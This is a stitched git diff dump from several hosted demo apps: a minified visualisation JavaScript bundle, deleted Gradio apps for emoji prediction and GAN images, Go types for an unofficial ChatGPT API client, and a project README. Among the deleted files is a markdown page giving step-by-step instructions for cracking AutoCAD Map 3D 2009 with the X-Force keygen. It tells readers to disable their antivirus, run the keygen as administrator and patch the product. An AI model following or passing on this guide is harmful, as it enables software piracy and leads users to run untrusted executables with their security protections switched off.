t=e.layout.columns===1?"width":"childWidth",n=e.layout.columns===void 0?"height":"childHeight";i4(e,t),i4(e,n)}function JS(e){for(const t of e.children)t.parseLayoutSize()}function i4(e,t){var n;const i=xW(t),s=Zm(i),o=e.component.resolve,c=e.component.layoutSize;let d;for(const f of e.children){const u=f.component.layoutSize.getWithExplicit(i),a=(n=o.scale[s])!==null&&n!==void 0?n:BW(s,e);if(a==="independent"&&u.value==="step"){d=void 0;break}if(d){if(a==="independent"&&d.value!==u.value){d=void 0;break}d=fc(d,u,i,"")}else d=u}if(d){for(const f of e.children)e.renameSignal(f.getName(i),e.getName(t)),f.component.layoutSize.set(i,"merged",!1);c.setWithExplicit(t,d)}else c.setWithExplicit(t,{explicit:!1,value:void 0})}function hve(e){const{size:t,component:n}=e;for(const i of lo){const s=ms(i);if(t[s]){const o=t[s];n.layoutSize.set(s,Ga(o)?"step":o,!0)}else{const o=gve(e,s);n.layoutSize.set(s,o,!1)}}}function gve(e,t){const n=t==="width"?"x":"y",i=e.config,s=e.getScaleComponent(n);if(s){const o=s.get("type"),c=s.get("range");if(Jn(o)){const d=Qy(i.view,t);return Nc(c)||Ga(d)?"step":d}else return V8(i.view,t)}else{if(e.hasProjection||e.mark==="arc")return V8(i.view,t);{const o=Qy(i.view,t);return Ga(o)?o.step:o}}}function o9(e,t,n){return ve(t,Object.assign({suffix:`by_${ve(e)}`},n??{}))}class f2 extends JW{constructor(t,n,i,s){super(t,"facet",n,i,s,t.resolve),this.child=ix(t.spec,this,this.getName("child"),void 0,s),this.children=[this.child],this.facet=this.initFacet(t.facet)}initFacet(t){if(!o3(t))return{facet:this.initFacetFieldDef(t,"facet")};const n=ye(t),i={};for(const s of n){if(![Po,Do].includes(s)){me(e6(s,"facet"));break}const o=t[s];if(o.field===void 0){me(P8(o,s));break}i[s]=this.initFacetFieldDef(o,s)}return i}initFacetFieldDef(t,n){const i=bS(t,n);return i.header?i.header=es(i.header):i.header===null&&(i.header=null),i}channelHasField(t){return!!this.facet[t]}fieldDef(t){return this.facet[t]}parseData(){this.component.data=F6(this),this.child.parseData()}parseLayoutSize(){JS(this)}parseSelections(){this.child.parseSelections(),this.component.selection=this.child.component.selection}parseMarkGroup(){this.child.parseMarkGroup()}parseAxesAndHeaders(){this.child.parseAxesAndHeaders(),cve(this)}assembleSelectionTopLevelSignals(t){return this.child.assembleSelectionTopLevelSignals(t)}assembleSignals(){return this.child.assembleSignals(),[]}assembleSelectionData(t){return this.child.assembleSelectionData(t)}getHeaderLayoutMixins(){var t,n,i;const s={};for(const o of Ks)for(const c of zS){const d=this.component.layoutHeaders[o],f=d[c],{facetFieldDef:u}=d;if(u){const a=mh("titleOrient",u.header,this.config,o);if(["right","bottom"].includes(a)){const m=m6(o,a);(t=s.titleAnchor)!==null&&t!==void 0||(s.titleAnchor={}),s.titleAnchor[m]="end"}}if(f!=null&&f[0]){const a=o==="row"?"height":"width",m=c==="header"?"headerBand":"footerBand";o!=="facet"&&!this.child.component.layoutSize.get(a)&&((n=s[m])!==null&&n!==void 0||(s[m]={}),s[m][o]=.5),d.title&&((i=s.offset)!==null&&i!==void 0||(s.offset={}),s.offset[o==="row"?"rowTitle":"columnTitle"]=10)}}return s}assembleDefaultLayout(){const{column:t,row:n}=this.facet,i=t?this.columnDistinctSignal():n?1:void 0;let s="all";return(!n&&this.component.resolve.scale.x==="independent"||!t&&this.component.resolve.scale.y==="independent")&&(s="none"),Object.assign(Object.assign(Object.assign({},this.getHeaderLayoutMixins()),i?{columns:i}:{}),{bounds:"full",align:s})}assembleLayoutSignals(){return this.child.assembleLayoutSignals()}columnDistinctSignal(){if(!(this.parent&&this.parent instanceof f2))return{signal:`length(data('${this.getName("column_domain")}'))`}}assembleGroupStyle(){}assembleGroup(t){return this.parent&&this.parent instanceof f2?Object.assign(Object.assign({},this.channelHasField("column")?{encode:{update:{columns:{field:ve(this.facet.column,{prefix:"distinct"})}}}}:{}),super.assembleGroup(t)):super.assembleGroup(t)}getCardinalityAggregateForChild(){const t=[],n=[],i=[];if(this.child instanceof f2){if(this.child.channelHasField("column")){const s=ve(this.child.facet.column);t.push(s),n.push("distinct"),i.push(`distinct_${s}`)}}else for(const s of lo){const o=this.child.component.scales[s];if(o&&!o.merged){const c=o.get("type"),d=o.get("range");if(Jn(c)&&Nc(d)){const f=L6(this.child,s),u=XS(f);u?(t.push(u),n.push("distinct"),i.push(`distinct_${u}`)):me(XE(s))}}}return{fields:t,ops:n,as:i}}assembleFacet(){const{name:t,data:n}=this.component.data.facetRoot,{row:i,column:s}=this.facet,{fields:o,ops:c,as:d}=this.getCardinalityAggregateForChild(),f=[];for(const a of Ks){const m=this.facet[a];if(m){f.push(ve(m));const{bin:y,sort:p}=m;if(nn(y)&&f.push(ve(m,{binSuffix:"end"})),Ba(p)){const{field:l,op:b=r6}=p,L=o9(m,p);i&&s?(o.push(L),c.push("max"),d.push(L)):(o.push(l),c.push(b),d.push(L))}else if(ue(p)){const l=yh(m,a);o.push(l),c.push("max"),d.push(l)}}}const u=!!i&&!!s;return Object.assign({name:t,data:n,groupby:f},u||o.length>0?{aggregate:Object.assign(Object.assign({},u?{cross:u}:{}),o.length?{fields:o,ops:c,as:d}:{})}:{})}facetSortFields(t){const{facet:n}=this,i=n[t];return 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this.children.reduce((n,i)=>i.assembleSelectionData(n),t)}assembleMarks(){return this.children.map(t=>{const n=t.assembleTitle(),i=t.assembleGroupStyle(),s=t.assembleGroupEncodeEntry(!1);return Object.assign(Object.assign(Object.assign(Object.assign({type:"group",name:t.getName("group")},n?{title:n}:{}),i?{style:i}:{}),s?{encode:{update:s}}:{}),t.assembleGroup())})}assembleGroupStyle(){}assembleDefaultLayout(){const t=this.layout.columns;return Object.assign(Object.assign({},t!=null?{columns:t}:{}),{bounds:"full",align:"each"})}}function wve(e){return e===!1||e===null}const Lve=Object.assign(Object.assign({disable:1,gridScale:1,scale:1},uG),{labelExpr:1,encode:1}),nY=ye(Lve);class QS extends ll{constructor(t={},n={},i=!1){super(),this.explicit=t,this.implicit=n,this.mainExtracted=i}clone(){return new QS(at(this.explicit),at(this.implicit),this.mainExtracted)}hasAxisPart(t){return t==="axis"?!0:t==="grid"||t==="title"?!!this.get(t):!wve(this.get(t))}hasOrientSignalRef(){return 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lo.reduce((t,n)=>(e.component.scales[n]&&(t[n]=[Fve(n,e)]),t),{})}const vve={bottom:"top",top:"bottom",left:"right",right:"left"};function Eve(e){var t;const{axes:n,resolve:i}=e.component,s={top:0,bottom:0,right:0,left:0};for(const o of e.children){o.parseAxesAndHeaders();for(const c of ye(o.component.axes))i.axis[c]=qS(e.component.resolve,c),i.axis[c]==="shared"&&(n[c]=Sve(n[c],o.component.axes[c]),n[c]||(i.axis[c]="independent",delete n[c]))}for(const o of lo){for(const c of e.children)if(c.component.axes[o]){if(i.axis[o]==="independent"){n[o]=((t=n[o])!==null&&t!==void 0?t:[]).concat(c.component.axes[o]);for(const d of c.component.axes[o]){const{value:f,explicit:u}=d.getWithExplicit("orient");if(!Ne(f)){if(s[f]>0&&!u){const a=vve[f];s[f]>s[a]&&d.set("orient",a,!1)}s[f]++}}}delete c.component.axes[o]}if(i.axis[o]==="independent"&&n[o]&&n[o].length>1)for(const c of n[o])c.get("grid")&&!c.explicit.grid&&(c.implicit.grid=!1)}}function Sve(e,t){if(e){if(e.length!==t.length)return;const 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n6:if(we(i)&&(ei(i.bin)||we(s)&&s.aggregate&&!i.aggregate))return"vertical";if(we(s)&&(ei(s.bin)||we(i)&&i.aggregate&&!s.aggregate))return"horizontal";if(c||o){if(n)return n;if(!o)return(we(i)&&i.type===Kd&&!nn(i.bin)||z8(i))&&we(s)&&ei(s.bin)?"horizontal":"vertical";if(!c)return(we(s)&&s.type===Kd&&!nn(s.bin)||z8(s))&&we(i)&&ei(i.bin)?"vertical":"horizontal"}case Gy:if(o&&!(we(i)&&ei(i.bin))&&c&&!(we(s)&&ei(s.bin)))return;case t6:if(c)return we(s)&&ei(s.bin)?"horizontal":"vertical";if(o)return we(i)&&ei(i.bin)?"vertical":"horizontal";if(e===Gy){if(i&&!s)return"vertical";if(s&&!i)return"horizontal"}case i6:case dS:{const d=va(i),f=va(s);if(n)return n;if(d&&!f)return e!=="tick"?"horizontal":"vertical";if(!d&&f)return e!=="tick"?"vertical":"horizontal";if(d&&f){const u=i,a=s,m=u.type===ch,y=a.type===ch;return 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Rve={vgMark:"arc",encodeEntry:e=>Object.assign(Object.assign(Object.assign(Object.assign(Object.assign({},fr(e,{align:"ignore",baseline:"ignore",color:"include",size:"ignore",orient:"ignore",theta:"ignore"})),pi("x",e,{defaultPos:"mid"})),pi("y",e,{defaultPos:"mid"})),hc(e,"radius")),hc(e,"theta"))},Pve={vgMark:"area",encodeEntry:e=>Object.assign(Object.assign(Object.assign(Object.assign({},fr(e,{align:"ignore",baseline:"ignore",color:"include",orient:"include",size:"ignore",theta:"ignore"})),e4("x",e,{defaultPos:"zeroOrMin",defaultPos2:"zeroOrMin",range:e.markDef.orient==="horizontal"})),e4("y",e,{defaultPos:"zeroOrMin",defaultPos2:"zeroOrMin",range:e.markDef.orient==="vertical"})),jS(e))},Dve={vgMark:"rect",encodeEntry:e=>Object.assign(Object.assign(Object.assign({},fr(e,{align:"ignore",baseline:"ignore",color:"include",orient:"ignore",size:"ignore",theta:"ignore"})),hc(e,"x")),hc(e,"y"))},jve={vgMark:"shape",encodeEntry:e=>Object.assign({},fr(e,{align:"ignore",baseline:"ignore",color:"include",size:"ignore",orient:"ignore",theta:"ignore"})),postEncodingTransform:e=>{const{encoding:t}=e,n=t.shape;return[Object.assign({type:"geoshape",projection:e.projectionName()},n&&we(n)&&n.type===Uh?{field:ve(n,{expr:"datum"})}:{})]}},Uve={vgMark:"image",encodeEntry:e=>Object.assign(Object.assign(Object.assign(Object.assign({},fr(e,{align:"ignore",baseline:"ignore",color:"ignore",orient:"ignore",size:"ignore",theta:"ignore"})),hc(e,"x")),hc(e,"y")),PS(e,"url"))},Hve={vgMark:"line",encodeEntry:e=>Object.assign(Object.assign(Object.assign(Object.assign(Object.assign({},fr(e,{align:"ignore",baseline:"ignore",color:"include",size:"ignore",orient:"ignore",theta:"ignore"})),pi("x",e,{defaultPos:"mid"})),pi("y",e,{defaultPos:"mid"})),zn("size",e,{vgChannel:"strokeWidth"})),jS(e))},zve={vgMark:"trail",encodeEntry:e=>Object.assign(Object.assign(Object.assign(Object.assign(Object.assign({},fr(e,{align:"ignore",baseline:"ignore",color:"include",size:"include",orient:"ignore",theta:"ignore"})),pi("x",e,{defaultPos:"mid"})),pi("y",e,{defaultPos:"mid"})),zn("size",e)),jS(e))};function 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t,n,i,s,o,c,d,f,u,a=e[13]&&e[11]&&iN(e);return{c(){t=Tt("div"),n=Tt("button"),n.textContent="back",i=pn(),s=Tt("button"),s.textContent="next",o=pn(),c=Tt("div"),d=Tt("table"),a&&a.c(),Ee(d,"id","table"),Ee(d,"class","svelte-1q815rq"),Ee(c,"id","images")},m(m,y){$t(m,t,y),Ve(t,n),Ve(t,i),Ve(t,s),$t(m,o,y),$t(m,c,y),Ve(c,d),a&&a.m(d,null),f||(u=[Ri(n,"click",e[25]),Ri(s,"click",e[26])],f=!0)},p(m,y){m[13]&&m[11]?a?a.p(m,y):(a=iN(m),a.c(),a.m(d,null)):a&&(a.d(1),a=null)},d(m){m&&Pt(t),m&&Pt(o),m&&Pt(c),a&&a.d(),f=!1,Xo(u)}}}function iN(e){let t,n,i,s=e[14],o=[];for(let f=0;fFalconVis Logo',s=pn(),Nn(o.$$.fragment),c=pn(),d=Tt("main"),f=Tt("div"),u=Tt("div"),a=Tt("div"),M&&M.c(),m=pn(),O&&O.c(),y=pn(),C&&C.c(),p=pn(),P&&P.c(),l=pn(),b=Tt("div"),j&&j.c(),L=pn(),E=Tt("div"),S=Tt("div"),Nn(x.$$.fragment),F=pn(),R&&R.c(),document.title="FalconVis | 30 million",Ee(n,"class","svelte-1q815rq"),Ee(a,"id","hists"),Ee(a,"class","svelte-1q815rq"),Ee(b,"id","maps"),Ee(b,"class","svelte-1q815rq"),Ee(u,"id","charts"),Ee(u,"class","svelte-1q815rq"),Ee(E,"id","table"),Ee(E,"class","svelte-1q815rq"),Ee(f,"id","vis"),Ee(f,"class","svelte-1q815rq"),Ee(d,"class","svelte-1q815rq")},m(Y,$){$t(Y,t,$),$t(Y,n,$),Ve(n,i),Ve(n,s),bn(o,n,null),$t(Y,c,$),$t(Y,d,$),Ve(d,f),Ve(f,u),Ve(u,a),M&&M.m(a,null),Ve(a,m),O&&O.m(a,null),Ve(a,y),C&&C.m(a,null),Ve(a,p),P&&P.m(a,null),Ve(u,l),Ve(u,b),j&&j.m(b,null),Ve(f,L),Ve(f,E),Ve(E,S),bn(x,S,null),Ve(E,F),R&&R.m(E,null),k=!0},p(Y,$){var X,G;Y[5]&&Y[0]?M?(M.p(Y,$),$[0]&33&&wt(M,1)):(M=ZA(Y),M.c(),wt(M,1),M.m(a,m)):M&&(qf(),Rt(M,1,1,()=>{M=null}),Vf()),Y[5]&&Y[1]?O?(O.p(Y,$),$[0]&34&&wt(O,1)):(O=JA(Y),O.c(),wt(O,1),O.m(a,y)):O&&(qf(),Rt(O,1,1,()=>{O=null}),Vf()),Y[5]&&Y[2]?C?(C.p(Y,$),$[0]&36&&wt(C,1)):(C=QA(Y),C.c(),wt(C,1),C.m(a,p)):C&&(qf(),Rt(C,1,1,()=>{C=null}),Vf()),Y[5]&&Y[3]?P?(P.p(Y,$),$[0]&40&&wt(P,1)):(P=eN(Y),P.c(),wt(P,1),P.m(a,null)):P&&(qf(),Rt(P,1,1,()=>{P=null}),Vf()),Y[5]&&Y[4]?j?(j.p(Y,$),$[0]&48&&wt(j,1)):(j=tN(Y),j.c(),wt(j,1),j.m(b,null)):j&&(qf(),Rt(j,1,1,()=>{j=null}),Vf());const W={};$[0]&2048&&(W.filteredCount=((X=Y[11])==null?void 0:X.filter)??0),$[0]&2048&&(W.totalCount=((G=Y[11])==null?void 0:G.total)??0),x.$set(W),Y[13]?R?R.p(Y,$):(R=nN(Y),R.c(),R.m(E,null)):R&&(R.d(1),R=null)},i(Y){k||(wt(o.$$.fragment,Y),wt(M),wt(O),wt(C),wt(P),wt(j),wt(x.$$.fragment,Y),k=!0)},o(Y){Rt(o.$$.fragment,Y),Rt(M),Rt(O),Rt(C),Rt(P),Rt(j),Rt(x.$$.fragment,Y),k=!1},d(Y){Y&&Pt(t),Y&&Pt(n),Tn(o),Y&&Pt(c),Y&&Pt(d),M&&M.d(),O&&O.d(),C&&C.d(),P&&P.d(),j&&j.d(),Tn(x),R&&R.d()}}}let zf=25;function Ike(e,t,n){let i,s,o,c,d,f,u,a,m,y,p,l;FY(async()=>{const W=new Gle("query/","flights",new Map([["FlightDate","epoch(FlightDate)*1000"]]),X=>X);n(5,i=new Kle(W)),await i.view0D(X=>{n(11,u=X)}),n(6,s=await i.view1D({type:"continuous",name:"Distance",resolution:400,bins:5})),s.onChange(X=>{n(0,a=X)}),n(7,o=await i.view1D({type:"continuous",name:"ArrDelay",resolution:400,range:[-20,60],bins:5})),o.onChange(X=>{n(1,m=X)}),n(8,c=await i.view1D({type:"continuous",name:"DepDelay",resolution:400,range:[-20,60],bins:5})),c.onChange(X=>{n(2,y=X)}),n(9,d=await i.view1D({type:"continuous",name:"FlightDate",resolution:400,bins:25,time:!0})),d.onChange(X=>{n(3,p=X)}),n(10,f=await i.view1D({type:"categorical",name:"OriginState"})),f.onChange(X=>{n(4,l=X)}),await i.link(),n(13,L=await i.entries({length:zf,offset:b}))});let b=0,L,E=!0;async function S(W,X=0){i&&E&&(E=!1,n(13,L=await i.entries({length:zf,offset:b})),await new Promise(G=>setTimeout(G,X)),E=!0)}let x=["FlightDate","OriginState","DestState","DepDelay","ArrDelay","Distance"];const F=async()=>{await s.activate()},k=async W=>{const X=W.detail;X!==null?await s.select(X):await s.select()},M=async()=>{await o.activate()},O=async W=>{const X=W.detail;X!==null?await o.select(X):await o.select()},C=async()=>{await c.activate()},P=async W=>{const X=W.detail;X!==null?await c.select(X):await c.select()},j=async()=>{await d.activate()},R=async W=>{const X=W.detail;X!==null?await d.select(X):await d.select()},H=async()=>{await f.activate()},z=async W=>{const X=W.detail;X!==null?await f.select(X):await f.select()},Y=async()=>{n(12,b=Math.max(b-zf,0)),n(13,L=await i.entries({length:zf,offset:b}))},$=async()=>{n(12,b+=zf),n(13,L=await i.entries({length:zf,offset:b}))};return e.$$.update=()=>{e.$$.dirty[0]&31&&S()},[a,m,y,p,l,i,s,o,c,d,f,u,b,L,x,F,k,M,O,C,P,j,R,H,z,Y,$]}class Oke extends Vi{constructor(t){super(),qi(this,t,Ike,Fke,$i,{},null,[-1,-1])}}new Oke({target:document.getElementById("app")})});export default Mke(); diff --git a/spaces/drift-ai/emoji-predictor/app.py b/spaces/drift-ai/emoji-predictor/app.py deleted file mode 100644 index 211cf63270b78c0d5b63741b194eb166ea71c8cf..0000000000000000000000000000000000000000 --- a/spaces/drift-ai/emoji-predictor/app.py +++ /dev/null @@ -1,122 +0,0 @@ -import gradio as gr -import torch -import os - -from PIL import Image -from pathlib import Path -from more_itertools import chunked - -from transformers import CLIPProcessor, CLIPModel - -checkpoint = "vincentclaes/emoji-predictor" -x_, _, files = next(os.walk("./emojis")) -no_of_emojis = range(len(files)) -emojis_as_images = [Image.open(f"emojis/{i}.png") for i in no_of_emojis] -K = 4 - -processor = CLIPProcessor.from_pretrained(checkpoint) -model = CLIPModel.from_pretrained(checkpoint) - - -def concat_images(*images): - """Generate composite of all supplied images. - https://stackoverflow.com/a/71315656/1771155 - """ - # Get the widest width. - width = max(image.width for image in images) - # Add up all the heights. - height = max(image.height for image in images) - # set the correct size of width and heigtht of composite. - composite = Image.new('RGB', (2*width, 2*height)) - assert K == 4, "We expect 4 suggestions, other numbers won't work." - for i, image in enumerate(images): - if i == 0: - composite.paste(image, (0, 0)) - elif i == 1: - composite.paste(image, (width, 0)) - elif i == 2: - composite.paste(image, (0, height)) - elif i == 3: - composite.paste(image, (width, height)) - return composite - - -def get_emoji(text, model=model, processor=processor, emojis=emojis_as_images, K=4): - inputs = processor(text=text, images=emojis, return_tensors="pt", padding=True, truncation=True) - outputs = model(**inputs) - - logits_per_text = outputs.logits_per_text - # we take the softmax to get the label probabilities - probs = logits_per_text.softmax(dim=1) - # top K number of options - predictions_suggestions_for_chunk = [torch.topk(prob, K).indices.tolist() for prob in probs][0] - predictions_suggestions_for_chunk - - images = [Image.open(f"emojis/{i}.png") for i in predictions_suggestions_for_chunk] - images_concat = concat_images(*images) - return images_concat - - -text = gr.inputs.Textbox(placeholder="Enter a text and we will try to predict an emoji...") -title = "Predicting an Emoji" -description = """You provide a sentence and our few-shot fine tuned CLIP model will suggest 4 from the following emoji's: -\n❤️ 😍 😂 💕 🔥 😊 😎 ✨ 💙 😘 📷 🇺🇸 ☀ 💜 😉 💯 😁 🎄 📸 😜 ☹️ 😭 😔 😡 💢 😤 😳 🙃 😩 😠 🙈 🙄\n -""" -article = """ -\n -++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -\n -#### Let's connect on Linkedin: https://www.linkedin.com/in/vincent-claes-0b346337/ -\n -# Context -I fine tuned Open Ai's CLIP model on both text (tweets) and images of emoji's!\n -The current model you can play with is fine-tuned on 15 samples per emoji. - -- model: https://huggingface.co/vincentclaes/emoji-predictor \n -- dataset: https://huggingface.co/datasets/vincentclaes/emoji-predictor \n -- profile: https://huggingface.co/vincentclaes \n - -# Precision - -Below you can find a table with the precision for predictions and suggestions -for a range of samples per emoji we fine-tuned CLIP on. - -### Prediction vs. Suggestion -- The column "Prediction" indicates the precision for predicting the right emoji. - -- Since there can be some confusion about the right emoji for a tweet, -I also tried to present 4 suggestions. If 1 of the 4 suggestions is the same as the label, -I consider it a valid prediction. See the column "Suggestion". - -- Randomly predicting an emoji would have a precision of 1/32 or 0.0325. -- Randomly suggesting an emoji would have a precision of 4/32 or 0.12. - - - | Samples | Prediction | Suggestion | - |--------- |------------ |------------ | - | 0 | 0.13 | 0.33 | - | 1 | 0.11 | 0.30 | - | 5 | 0.14 | 0.38 | - | 10 | 0.20 | 0.45 | - | 15 | 0.22 | 0.51 | - | 20 | 0.19 | 0.49 | - | 25 | 0.24 | 0.54 | - | 50 | 0.23 | 0.53 | - | 100 | 0.25 | 0.57 | - | 250 | 0.29 | 0.62 | - | 500 | 0.29 | 0.63 | - - - - -""" -examples = [ - "I'm so happy for you!", - "I'm not feeling great today.", - "This makes me angry!", - "Can I follow you?", - "I'm so bored right now ...", -] -gr.Interface(fn=get_emoji, inputs=text, outputs=gr.Image(shape=(72,72)), - examples=examples, title=title, description=description, - article=article).launch() diff --git a/spaces/dvc890/go-chatgpt-api/api/chatgpt/typings.go b/spaces/dvc890/go-chatgpt-api/api/chatgpt/typings.go deleted file mode 100644 index 5a4f7ecefee5f39d1b4d91cd4239a792b5e3ac6a..0000000000000000000000000000000000000000 --- a/spaces/dvc890/go-chatgpt-api/api/chatgpt/typings.go +++ /dev/null @@ -1,68 +0,0 @@ -package chatgpt - -//goland:noinspection GoSnakeCaseUsage -import tls_client "github.com/bogdanfinn/tls-client" - -type UserLogin struct { - client tls_client.HttpClient -} - -type CreateConversationRequest struct { - Action string `json:"action"` - Messages []Message `json:"messages"` - Model string `json:"model"` - ParentMessageID string `json:"parent_message_id"` - ConversationID *string `json:"conversation_id"` - TimezoneOffsetMin int `json:"timezone_offset_min"` - ArkoseToken string `json:"arkose_token"` -} - -type ContinueConversationRequest struct { - Action string `json:"action"` - Model string `json:"model"` - ParentMessageID string `json:"parent_message_id"` - ConversationID *string `json:"conversation_id"` - TimezoneOffsetMin int `json:"timezone_offset_min"` - ArkoseToken string `json:"arkose_token"` -} - -type ConversationRespResult struct { - Status bool - ConversationID string -} - -type Message struct { - Author Author `json:"author"` - Content Content `json:"content"` - ID string `json:"id"` -} - -type Author struct { - Role string `json:"role"` -} - -type Content struct { - ContentType string `json:"content_type"` - Parts []string `json:"parts"` -} - -type FeedbackMessageRequest struct { - MessageID string `json:"message_id"` - ConversationID string `json:"conversation_id"` - Rating string `json:"rating"` -} - -type GenerateTitleRequest struct { - MessageID string `json:"message_id"` -} - -type PatchConversationRequest struct { - Title *string `json:"title"` - IsVisible bool `json:"is_visible"` -} - -type Cookie struct { - Name string `json:"name"` - Value string `json:"value"` - Expiry int64 `json:"expiry"` -} diff --git a/spaces/egesko/DCGAN/app.py b/spaces/egesko/DCGAN/app.py deleted file mode 100644 index 3faa60794cbba37017f4067fa45a8104f01b1eb3..0000000000000000000000000000000000000000 --- a/spaces/egesko/DCGAN/app.py +++ /dev/null @@ -1,38 +0,0 @@ -import gradio as gr -import tensorflow as tf -import numpy as np -from matplotlib import cm -from PIL import Image -import imageio - -generator = tf.keras.models.load_model('dc_gan.h5') - -def interpolate(steps,fps): - - #CHANGE LATER - start = tf.random.normal(shape=(1,128)) - end = tf.random.normal(shape=(1,128)) - #--------------- - - input_vectors = np.squeeze(np.linspace(start,end,steps)) - - image_vectors = np.array(generator.predict(input_vectors)) - - writer = imageio.get_writer('test.mp4', fps=fps) - - for im in image_vectors: - writer.append_data((im*255).astype('uint8')) - writer.close() - - return gr.Video(value = 'test.mp4') - - -demo = gr.Blocks() -with demo: - output_interpolation = gr.Video() - STEPS = gr.Slider(1, 100, step=1,label="Steps") - FPS = gr.Slider(1, 50, step=1,label="fps") - btn = gr.Button("Submit") - btn.click(interpolate, inputs=[STEPS ,FPS], outputs=[output_interpolation]) - -demo.launch() diff --git a/spaces/ehristoforu/imggend/app.py b/spaces/ehristoforu/imggend/app.py deleted file mode 100644 index ff4df3f0c538f8a77e9593fd8fbe9f2e80f10a78..0000000000000000000000000000000000000000 --- a/spaces/ehristoforu/imggend/app.py +++ /dev/null @@ -1,9 +0,0 @@ -import gradio as gr -from tritongpt import TritonGPT - -def gen(prompt): - images = TritonGPT.get_instance().generate(prompt, max_length=50, num_images=2) - return images - -d = gr.Interface(gen, inputs="text", outputs='image', examples=[["Ваш промпт здесь"]]) -d.launch() \ No newline at end of file diff --git a/spaces/epexVfeibi/Imagedeblurr/Activation AutoCAD Map 3D 2009 Keygen !EXCLUSIVE!.md b/spaces/epexVfeibi/Imagedeblurr/Activation AutoCAD Map 3D 2009 Keygen !EXCLUSIVE!.md deleted file mode 100644 index 5306f127a94b57550daebfb5af10c086d093c88b..0000000000000000000000000000000000000000 --- a/spaces/epexVfeibi/Imagedeblurr/Activation AutoCAD Map 3D 2009 Keygen !EXCLUSIVE!.md +++ /dev/null @@ -1,26 +0,0 @@ -
        -

        How to Activate AutoCAD Map 3D 2009 with X-Force Keygen

        -

        AutoCAD Map 3D 2009 is a software that allows you to create, edit, and analyze geospatial data. It is one of the products of Autodesk, a leading company in design and engineering software. However, to use AutoCAD Map 3D 2009, you need to activate it with a valid serial number and product key.

        -

        In this article, we will show you how to activate AutoCAD Map 3D 2009 with X-Force Keygen, a tool that can generate serial numbers and product keys for Autodesk products. X-Force Keygen is not an official tool from Autodesk, so use it at your own risk. We do not endorse or support any illegal or unethical use of software.

        -

        activation AutoCAD Map 3D 2009 keygen


        Download Zip ✺ https://jinyurl.com/2uEp2G



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        Step 1: Finish the installation and restart Autodesk Product

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        First, you need to install AutoCAD Map 3D 2009 on your computer. You can download it from the Internet Archive[^2^] or other sources. Follow the instructions on the screen to complete the installation process. After that, restart your Autodesk product.

        -

        Step 2: Disable your internet connection and antivirus

        -

        Before clicking on Activate, make sure that you disable your internet connection and antivirus. This is because X-Force Keygen may be detected as a virus or malware by your antivirus software or firewall. To disable your internet connection, you can unplug your ethernet cable, turn off your Wi-Fi, or use airplane mode. To disable your antivirus, you can go to its settings and turn off its protection features.

        -

        Step 3: Click on Activate and choose option a or b

        -

        Next, launch AutoCAD Map 3D 2009 and click on Activate. If it tells you that your serial is wrong, simply click on close and click on activate again. Then, choose one of these options:

        -
          -
        • Option a: Select I have an activation code from Autodesk.
          • -
        • Option b: Select I have a request code from Autodesk.
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        Step 4: Start X-Force Keygen and click on Patch

        -

        Now, you need to start X-Force Keygen. You can download it from Civil MDC[^1^] or other sources. Make sure that you download the version that matches your Autodesk product year (2009 in this case). Run X-Force Keygen as administrator and choose AutoCAD Map 3D 2009 from the drop-down list. Then, click on Patch. You should see a message that says "Successfully patched".

        -

        Step 5: Copy the request code and paste into the keygen and press generate

        -

        Go back to the activation screen of AutoCAD Map 3D 2009 and copy the request code. Paste it into the keygen and press generate. You will get an activation code from the keygen.

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        Finally, copy the activation code from the keygen and paste it into the activation screen of AutoCAD Map 3D 2009. Click Next. You should see a message that says "Thank you for activating your Autodesk product". Congratulations! You have successfully activated AutoCAD Map 3D 2009 with X-Force Keygen.

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        Conclusion

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        In this article, we have shown you how to activate AutoCAD Map 3D 2009 with X-Force Keygen. This is a simple and easy way to use AutoCAD Map 3D 2009 without paying for a license. However, we remind you that this is not an official or legal method from Autodesk, so use it at your own risk. We do not endorse or support any illegal or unethical use of software.

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        -
        -
        \ No newline at end of file diff --git a/spaces/erbanku/gpt-academic/README.md b/spaces/erbanku/gpt-academic/README.md deleted file mode 100644 index 7b736665132fb92a89b926c93d6cbfe4d24df2df..0000000000000000000000000000000000000000 --- a/spaces/erbanku/gpt-academic/README.md +++ /dev/null @@ -1,280 +0,0 @@ ---- -title: academic-chatgpt -emoji: 😻 -colorFrom: blue -colorTo: blue -sdk: gradio -sdk_version: 3.25.0 -python_version: 3.11 -app_file: main.py -pinned: false -duplicated_from: qingxu98/gpt-academic ---- - -# ChatGPT 学术优化 -> **Note** -> -> 本项目依赖的Gradio组件的新版pip包(Gradio 3.26~3.27)有严重bug。所以，请在安装时严格选择requirements.txt中**指定的版本**。 -> -> `pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/` -> - -# GPT 学术优化 (ChatGPT Academic) - -**如果喜欢这个项目，请给它一个Star；如果你发明了更好用的快捷键或函数插件，欢迎发pull requests** - -If you like this project, please give it a Star. If you've come up with more useful academic shortcuts or functional plugins, feel free to open an issue or pull request. We also have a README in [English|](docs/README_EN.md)[日本語|](docs/README_JP.md)[Русский|](docs/README_RS.md)[Français](docs/README_FR.md) translated by this project itself. - -> **Note** -> -> 1.请注意只有**红颜色**标识的函数插件（按钮）才支持读取文件，部分插件位于插件区的**下拉菜单**中。另外我们以**最高优先级**欢迎和处理任何新插件的PR！ -> -> 2.本项目中每个文件的功能都在自译解[`self_analysis.md`](https://github.com/binary-husky/chatgpt_academic/wiki/chatgpt-academic%E9%A1%B9%E7%9B%AE%E8%87%AA%E8%AF%91%E8%A7%A3%E6%8A%A5%E5%91%8A)详细说明。随着版本的迭代，您也可以随时自行点击相关函数插件，调用GPT重新生成项目的自我解析报告。常见问题汇总在[`wiki`](https://github.com/binary-husky/chatgpt_academic/wiki/%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98)当中。 -> -> 3.已支持OpenAI和API2D的api-key共存，可在配置文件中填写如`API_KEY="openai-key1,openai-key2,api2d-key3"`。需要临时更换`API_KEY`时，在输入区输入临时的`API_KEY`然后回车键提交后即可生效。 - -
